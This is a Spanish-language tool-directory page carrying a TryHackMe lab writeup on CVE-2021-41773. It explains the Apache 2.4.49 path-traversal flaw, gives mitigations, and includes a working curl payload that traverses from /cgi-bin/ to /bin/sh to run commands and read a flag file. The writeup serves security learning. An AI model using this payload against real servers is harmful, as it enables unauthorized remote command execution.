Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41773 — Análisis detallado de CVE-2021-41773, explotación de path traversal y RCE en Apache, con comandos paso a paso y análisis de causa raíz desde un entorno de laboratorio de TryHackMe. | Kitploit
Herramientas/GitHubGitHub/johnwickakash12/cve-2021-41773
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubjohnwickakash12/cve-2021-41773

CVE-2021-41773

Análisis detallado de CVE-2021-41773, explotación de path traversal y RCE en Apache, con comandos paso a paso y análisis de causa raíz desde un entorno de laboratorio de TryHackMe.

Ver Repositorio
3hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773 — Explotación de Path Traversal y RCE en Apache

Writeup de la sala "Modern Web Stacks" de TryHackMe, enfocado en explotar CVE-2021-41773, una vulnerabilidad de path traversal en Apache HTTP Server 2.4.49 que conduce a ejecución remota de código cuando mod_cgi está habilitado.

Resumen

ÍtemDetalle
VulnerabilidadCVE-2021-41773 — Apache 2.4.49 Path Traversal / RCE
Servicio objetivoServidor Apache HTTP en el puerto 8080
Versión vulnerableApache/2.4.49 (Unix)
Causa raízOrden de normalización incorrecto en ap_normalize_path()
ImpactoLectura arbitraria de archivos → Ejecución Remota de Código vía mod_cgi
Herramientas utilizadascurl

Resumen de la Vulnerabilidad

Apache 2.4.49 cambió la forma en que ap_normalize_path() procesa las URLs. Apache debería bloquear cualquier ruta de solicitud que contenga ../ antes de que llegue al sistema de archivos, pero el filtro de traversal se ejecuta antes de que se complete la decodificación completa de la URL.

Esto significa que una solicitud que utiliza la secuencia doblemente codificada .%2e/ no es reconocida como ../ por el filtro. Sin embargo, una vez que Apache pasa la ruta al sistema operativo, .%2e/ se resuelve a ../, y el filtro de traversal ya ha sido evadido.

Por sí sola, esto permite la lectura arbitraria de archivos fuera de la raíz web. El impacto se vuelve crítico cuando se combina con mod_cgi: si la ruta de traversal resuelve a un ejecutable como /bin/sh dentro de un directorio habilitado para CGI (por ejemplo, /cgi-bin/), Apache lo ejecuta como un script CGI y pasa el cuerpo HTTP POST a su entrada estándar — lo que otorga ejecución remota de comandos.

Pasos

1. Confirmar la cabecera Server vulnerable

Se identificó la cabecera de respuesta Server del objetivo como:

root@kitploit:~
Apache/2.4.49 (Unix)

Esta versión está directamente afectada por CVE-2021-41773.

2. Verificar la disponibilidad de /cgi-bin/

Se solicitó /cgi-bin/ y se recibió una respuesta 403 Forbidden (no un 404), lo que indica que el directorio existe y es probable que mod_cgi esté habilitado — una condición previa para RCE mediante este CVE.

3. Explotar el path traversal para RCE

Se utilizó curl con la opción --path-as-is para enviar la secuencia de traversal codificada exactamente como se escribió, sin que curl la normalice del lado del cliente primero:

root@kitploit:~
curl -s --path-as-is "http://<TARGET_IP>:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; cat /flag.txt'

Por qué se requiere --path-as-is: de forma predeterminada, curl normaliza las URLs y elimina las secuencias .%2e/ antes de que se envíe la solicitud. --path-as-is le indica a curl que envíe la URL exactamente como está escrita, preservando la traversal codificada para que llegue intacta al servidor.

4. Leer la flag

El payload recorrió desde /cgi-bin/ hasta el sistema de archivos raíz, ejecutó /bin/sh como un script CGI mediante el cuerpo POST inyectado, y devolvió el contenido de /flag.txt.

root@kitploit:~
Formato de flag confirmado: THM{...}

(Flag redactada según las directrices de TryHackMe para writeups públicos.)

Conclusiones Clave

  • El orden de los parches importa. Un filtro de seguridad que se ejecuta antes de que la decodificación esté completa puede ser trivialmente evadido con trucos de codificación — este patrón exacto (filtrar-luego-decodificar vs decodificar-luego-filtrar) aparece en muchos CVEs de traversal, no solo en este.
  • mod_cgi + path traversal = RCE. La lectura de archivos por sí sola es mala; combinada con un directorio ejecutable CGI, se convierte en ejecución de comandos.
  • El comportamiento de las herramientas importa durante las pruebas. La normalización predeterminada de URLs de curl puede "arreglar" silenciosamente el payload exacto que intentas enviar — --path-as-is (o una herramienta equivalente de solicitud raw) es esencial al probar bypass basados en codificación.

Mitigación

  • Actualizar Apache a 2.4.51 o posterior (corrige tanto CVE-2021-41773 como el relacionado CVE-2021-42013).
  • Deshabilitar mod_cgi a menos que se requiera explícitamente.
  • Aplicar el principio de mínimo privilegio al proceso del servidor web para limitar el radio de impacto de cualquier primitiva de lectura de archivos.

Referencias

  • CVE-2021-41773 — NVD
  • TryHackMe — Sala Modern Web Stacks

Este writeup documenta un entorno de laboratorio (TryHackMe). No se accedió a sistemas no autorizados.

Descargar herramienta